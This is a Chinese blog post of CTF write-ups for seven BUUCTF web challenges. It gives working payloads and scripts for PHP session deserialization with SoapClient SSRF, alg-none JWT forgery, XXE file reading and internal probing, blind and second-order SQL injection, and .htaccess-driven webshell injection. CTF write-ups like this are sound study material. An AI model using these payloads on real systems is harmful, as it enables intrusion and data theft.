BUU-web七

bestphp’s revenge
知识点:SESSION反序列化、php原生类ssrf

[HFCTF2020]EasyLogin
知识点:jwt 伪造

NCTF2019]True XML cookbook
知识点:xxe内网探测

[GYCTF2020]Ezsqli
知识点:盲注、无列名注入

[ZerOpts2020]Can you guess it?
知识点:basename()函数缺陷

[XNUCA2019Qualifier]EasyPHP
知识点:.htaccess文件写入利用

[网鼎杯2018]Unfinish
知识点:异或注入

bestphp’s revenge

考点:SESSION反序列化、SSRF、PHP原生类利用

源码:

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

相关语法

call_user_func

call_user_func($filter, $value),这个函数的作用是把第一个参数作为回调函数调用

例:

1
2
3
4
5
6
7
8
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom"); //输出You wanted a mushroom haircut, no problem
call_user_func('barber', "shave"); //输出You wanted a shave haircut, no problem
?>

该函数不仅可以调用自定义函数,还可以调用php内置函数,比如extract

extract
extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量
当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调

例:

1
2
3
4
5
6
7
8
9
10
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

/*
$a = Cat; $b = Dog; $c = Horse
*/

SESSION反序列化

参考文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。

  • 在默认配置情况下:
1
2
3
4
5
<?php
session_start();
$_SESSION['name'] = 'CyzCc';
var_dump();
?>

1593336739916

在D:\phpstudy_pro\wamp64\tmp中储存文件名是sess_ac6df8h5uipildrmf4lm79agd7,文件的内容是name|s:5:"CyzCc";。name是键值,s:5:"CyzCc";serialize("CyzCc")的结果

  • 在php_serialize引擎下
1
2
3
4
5
6
<?php
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'CyzCc';
var_dump();
?>

1593336821405

SESSION文件的内容是a:1:{s:4:"name";s:5:"CyzCc";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

  • 在php_binary引擎下:
1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'CyzCc';
var_dump();
?>

SESSION文件的内容是口names:5:"CyzCc";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是口names:5:"CyzCc";

1593337592603

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:5:"CyzCc";s:24:"|O:11:"PeopleClass":0:{}";}
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

1
2
3
4
array (size=1)
'a:1:{s:5:"CyzCc";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:5:"CyzCc";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

1.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["CyzCc"]=$_GET["a"];

22.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}

在1.php和22.php中所使用的SESSION的引擎不一样,就形成了一个漏洞,1.php使
php_serialize,22.php使用php来处理session

访问1.php的时候,通过a传入a=|O:5:"lemon":1:{s:2:"hi";s:13:"echo "12345";";}
此时生成的session为
a:1:{s:5:"CyzCc";s:47:"|O:5:"lemon":1:{s:2:"hi";s:13:"echo "12345";";}";}
这时候再去访问22.php,发现成功实例化了lemon这个类,并且执行了echo。因为在访问22.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法
1593339016638

php原生类进行ssrf

由于源码中没有类,所以可以使用php原生类进行反序列化
利用php原生类SoapClient中的__call方法进行SSRF

解题思路:
利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可

解题

扫描目录得到flag.php,访问显示只能本地访问
1593341561897

明显需要利用ssrf来进行攻击

利用回调函数覆盖session序列化引擎为php_serilaze

构造SSRF的Soap类的序列化字符串

1
2
3
4
5
6
<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
echo "|" . urlencode($a);
?>

得到

1
|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

通过上面覆盖的序列化引擎将该payload字符串写入session文件

1593350945909

此时session_start()序列化使用的是php引擎。接下来使用extract覆盖变量b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID。

1593351008912

之后修改PHPSESSID即可获得flag
1593351044198

解析 payload

  1. 第一步,f传的值和post的值使其使用php_serialize引擎。而name的值就是将我们的name值以php_serialize引擎的格式存储起来。
  2. 这次发的请求使用的是默认的php引擎,我们f传值和post传值来使call_user_func($b, $a);变成call_user_func($a);而$a 为一个数组且第一个值就是我们传入的SoapClient作为类,而第二个值welcome_to_the_lctf2018为方法,很显然没这个方法从而调用SoapClient的__call函数、执行ssrf。
  3. 最后就是已我们设置的cookie去访问了,它会返回$_SESSION而此时我们的flag已经在里面了。

参考文章:
https://www.smi1e.top/lctf2018-bestphps-revenge-%E8%AF%A6%E7%BB%86%E9%A2%98%E8%A7%A3/

https://mayi077.gitee.io/2020/05/04/bestphp-s-revenge/

[HFCTF2020]EasyLogin

考点:jwt 伪造

打开题目为一个登陆框,可以注册用户

1593417082681

注册登录后猜测应该是需要admin登陆才能得到flag
先注册一个用户,在登陆的时候抓包
1593417187273

发现有一个jwt格式的字符串,解密
1593417288861

这里直接设置secretid为数组加密算法为空,修改username为admin即可

1
2
{"alg":"none","typ":"JWT"}.
{"secretid":[],"username":"admin","password":"123456","iat":1589875776}.

将上面的字符串进行两次base64编码,之后拼接。每一段后面的.不能省略
1593417554134

登陆成功

点击getflag再抓包go一次即可
1593417607446

[NCTF2019]True XML cookbook

知识点:xxe探测内网
1593418704270

题目给出为xxe,直接抓包构造payload:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE GVI [
<!ELEMENT foo ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>admina</password></user>

1593418770073

读取文件成功,之后读取/etc/hosts文件
1593418805402

发现一个ip,使用http协议访问。显示不存在,之后通过burp去爆破发现173.198.168.11存在,访问得到flag

1593418941330

[GYCTF2020]Ezsqli

知识点:盲注,无列名注入

sql注入,只有一个输入框,进行抓包测试

1593421986588

1593422003553

1593422047435

1593422059257

测试之后确定可以使用bool盲注,当条件不成立的时候回显Error Occured When Fetch Result.
fuzz一下过滤的字符串
1593422138285

可以先把数据库名跑出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
url = 'http://11de6aef-1432-4c03-9739-971d67b1f985.node3.buuoj.cn/index.php'

result = ""
for i in range(1,50):
high = 128
low = 32
mid = (high + low) // 2
while high>low:
payload = "1 && ascii(substr(database(),"+str(i)+",1))>"+str(mid)
payload2 = "1 && ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema = database()),"+str(i)+",1))>"+str(mid)

#print(payload)
data = {
'id':payload
}
res = requests.post(url = url,data = data)
#print(res.text)
if 'Nu1L' in res.text:
low = mid+1
mid = (low+high) // 2
else:
high = mid
mid = (low+high) // 2
result+=chr(mid)
print(result)

得到数据库名为give_grandpa_pa_pa_pa
1593423856311

表名

1
1 && ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),6,1))>44

过滤了information.schema.tables,可以用sys.schema_table_statistics_with_buffer代替

得到表名为:f1ag_1s_h3r3_hhhhh
但是我们无法得到列名,这时候需要使用无列名注入

无列名注入

参考文章:https://www.gem-love.com/ctf/1782.html

这里用到了ascii位偏移

1593427192361

1593427039728

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = 'http://11de6aef-1432-4c03-9739-971d67b1f985.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = flag + chr(char)
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break

得到flag转换为小写即可

参考文章:https://blog.csdn.net/weixin_43940853/article/details/106164162

[Zer0pts2020]Can you guess it?

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));//生成一串随机字符串
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

$_SERVER[‘PHP_SELF’]

获取当前 php 文件相对于网站根目录的位置地址

当输入的guess与$secret相等时输出flag,但是几乎 不可能。
之后发现传入source之后可以highlight_file读取文件,并且过滤掉了config.php,所以这里应该是突破点。

1593480992149)当我访问index.php/config.php时,浏览器仍然访问的是index.php,但经过basename()后,传进highlight_file()函数的文件名就变成了config.php,如果能绕过那个正则,就可以得到config.php源码获取flag

正则表达式/config\.php\/*$/i匹配的为$_SERVER[‘PHP_SELF’]的结尾,这里可以通过%0d进行污染绕过,这样仍然访问的index.php
1593486428166

https://bugs.php.net/bug.php?id=62119 找到了basename()函数的一个问题,它会去掉文件名开头的非ASCII值:

1
2
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php

所以可以构造payload

index.php/config.php/%ff?source

1593487324170

参考文章:https://blog.csdn.net/qq_43801002/java/article/details/105835367

[XNUCA2019Qualifier]EasyPHP

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

代码逻辑:先删除当前目录下除index.php外的所有文件,然后包含fl3g.php,如果存在content和filename,就将content拼接后写入filename

尝试写一个一句话木马

1
?content=<?php%20eval($_POST[a]);?>&filename=shell.php

1593738690408

可以看到php代码并没有解析,可以通过直接写入.htaccess文件来 get flag。

  • 每次都会unlink删除当前所有除index.php 外的文件
  • 有 on / html / type / flag / upload / file 关键字大小写过滤
  • 文件自动包含fl3g.php,但是文件名有/[^a-z\.]/正则限制
  • 最后还会有\n换行追加数据导致.htaccess解析错误的限制

.htaccess当中可以使用几种类型格式来更改 php 配置

1
2
3
4
5
6
7
php_value name value

php_flag name on|off

php_admin_value name value

php_admin_flag name on|off

flag被作为关键字过滤了,但是无论是php_flag还是php_amdin_flag只是php_value的简化,能通过php_flag设置的参数我们大部分还是都可以用php_value去设置

error_log

error_log可以把error_reporting设置的错误等级写入到设置的文件当中,这个看起来我们可以利用该函数来就进行报错写入文件,但是对于一开始就删除当前文件夹下所有文件的操作,即使我们可以写入自定义内容,也会被删除。所以我们可能还需要找另外一条路径使得该文件可以保存下来

include_path

include_path可以指定include等包含函数包含的环境路径,而题目代码使用的是scandir('./');作为获取当前文件的操作,只是删除当前文件,而error_log又可以指定路径。所以我们大概可以有这么个思路:

  • 使用error_log指定一个非当前文件路径的可写路径,例如/tmp/fl3g.php
  • 利用include_path指定包含的环境路径为/tmp
  • 这样include包含的时候,就是包含到了/tmp/fl3g.php

这样就可以绕过删除当前文件夹下所有文件的操作了。

本地试试一下,在当前目录下一个.htaccess文件,内容为

1
2
php_value error_log /tmp/fl3g.php
php_value include_path /tmp

访问index.php,报错
1593741542689

发现报错当中存在我们写入.htaccess文件当中的路径,尝试修改路径为恶意代码达到getshell的目的

1
2
php_value error_log /tmp/fl3g.php
php_value include_path '/tmp<?php phpinfo();?>'

1593741776137

但是尖括号被html编码了,这里可以先用 UTF-7 编码写入,再利用.htaccess解码 UTF-7
先尝试利用 UTF-7 编码我们需要插入的恶意代码,写入.htaccess的文件内容如下:

1
2
3
4
php_value include_path "D:/phpstudy_pro/wamp64/tmp/xx/+ADw?php phpinfo()+ADs?+AD4-"
php_value error_reporting 32767
php_value error_log D:/phpstudy_pro/wamp64/tmp/fl3g.php
# \

访问index.php报错将日志写入D:/phpstudy_pro/wamp64/tmp/fl3g.php中

之后写入.htaccess新的配置

1
2
3
4
5
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "D:/phpstudy_pro/wamp64/tmp/"
php_value error_log D:/phpstudy_pro/wamp64/tmp/fl3g.php
# \

访问index.php成功执行恶意代码
1593744129319

该题中最后的\nJust one chance影响到了.htaccess文件解析,所以需要利用#注释符将整句话都注视掉,但是又由于有\n换行符的存在,我们不能直接使用#就将其注释掉,需要使用\将其注释掉

解题

通过python进行文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
PAYLOAD1 = """php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1]);+ADs?+AD4-"
# \\"""

PAYLOAD2 = """php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp/"
php_value error_log /tmp/fl3g.php
# \\"""

URL = "http://e896c0f0-53d0-4352-948f-cf21ad0f1d79.node3.buuoj.cn/"

def upload_content(name, content):

data = {
"content" : content,
"filename" : name,
}

return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD1)
print(rep.text)

rep = upload_content(".htaccess", PAYLOAD2)
print(rep.text)

1593746297567

参考文章:http://blog.zeddyu.info/2019/10/03/xnuca-2019-ezphp

[网鼎杯2018]Unfinish

题目为一个登陆界面,通过扫描目录发现了register.php,注册后登陆

1593768264872

但是没有一个功能点,所以应该从注册和登陆界面入手,猜测存在二次注入

注入点在注册页面的username处
当注册失败的时候返回200,成功则返回302
1.出现黑名单字符,返回 nnnnoooo!!!
2.语句不正确,返回200
3.语句正确,返回302跳转至login.php

1593771663000

fuzz一下过滤的字符

1593771798376

这里需要使用异或注入,构造payload

1
email=1111@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=1111

登陆得到用户名
1593772232768

两次hex解码后得到数据库名为web

至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。

10

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

11

所以这里我们使用 substr 每次取10个字符长度与 ‘0’ 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(‘test’ from 1 for 10) 这种写法来绕过,具体获取 flag 的payload如下:

1
0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0

大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests as req
import random
import sys
URL = 'http://89318901-1078-4124-9b4d-7ca578f8039b.node3.buuoj.cn/'
def login(email):
data = {
"email": email,
"password": "123456"
}
res = req.post(URL + '/login.php', data)
if res.status_code == 200 and '1 </span>' in res.content:
return True
return False


def reg(u, e):
data = {
"username": u,
"email": e,
"password": "123456"
}
res = req.post(URL + '/register.php', data, allow_redirects=False)
if res.status_code == 302:
return login(e)
return False
table = 'qwertyuiopasdfghjklzxcvbnm'


def b(pl):
email = ''.join(random.sample(table, 8)) + '@qq.com'
return reg(pl, email)


def getLen(sql):
print("[+] Starting getLen...")
for i in range(1, 60):
sys.stdout.write("[+] Len : -> %d <-\r" % i)
sys.stdout.flush()
if b("1'and((select length((%s)))=%d)and'1" % (sql, i)):
print("[+] Len : -> %d <-" % i)
return i
return 0


def getData(sql="version()"):
_len = getLen(sql)
if not _len:
print("[-] getLen 'Error'")
return False
print("[+] Starting getData...")
table = '}{1234567890.-@_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
res = ''
for pos in range(1, _len + 1):
for ch in table:
sys.stdout.write("[+] Result : -> %s%c <-\r" % (res, ch))
sys.stdout.flush()
pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1" % (
sql, pos, ch)
if b(pl):
res += ch
break
print("[+] Result : -> %s <- " % res)
return res

# right(left(x,pos),1)
# mid(x,pos,1)
if __name__ == '__main__':
# pl = "(select substr((version())from(1)for(1))='%s')" % '5'
# pl = "1'and(%s)and'1" % pl
# print(b(pl))
pl = 'version()'
pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1'
getData(pl)

1593775347092

1
参考文章:https://mochazz.github.io/2018/08/23/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%BA%8C%E5%9C%BAWeb%E9%A2%98%E8%A7%A3/#unfinished
文章作者:CyzCc
最后更新:2020年07月18日 16:07:57
原始链接:https://cyzcc.vip/2020/07/14/buu-web-7/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------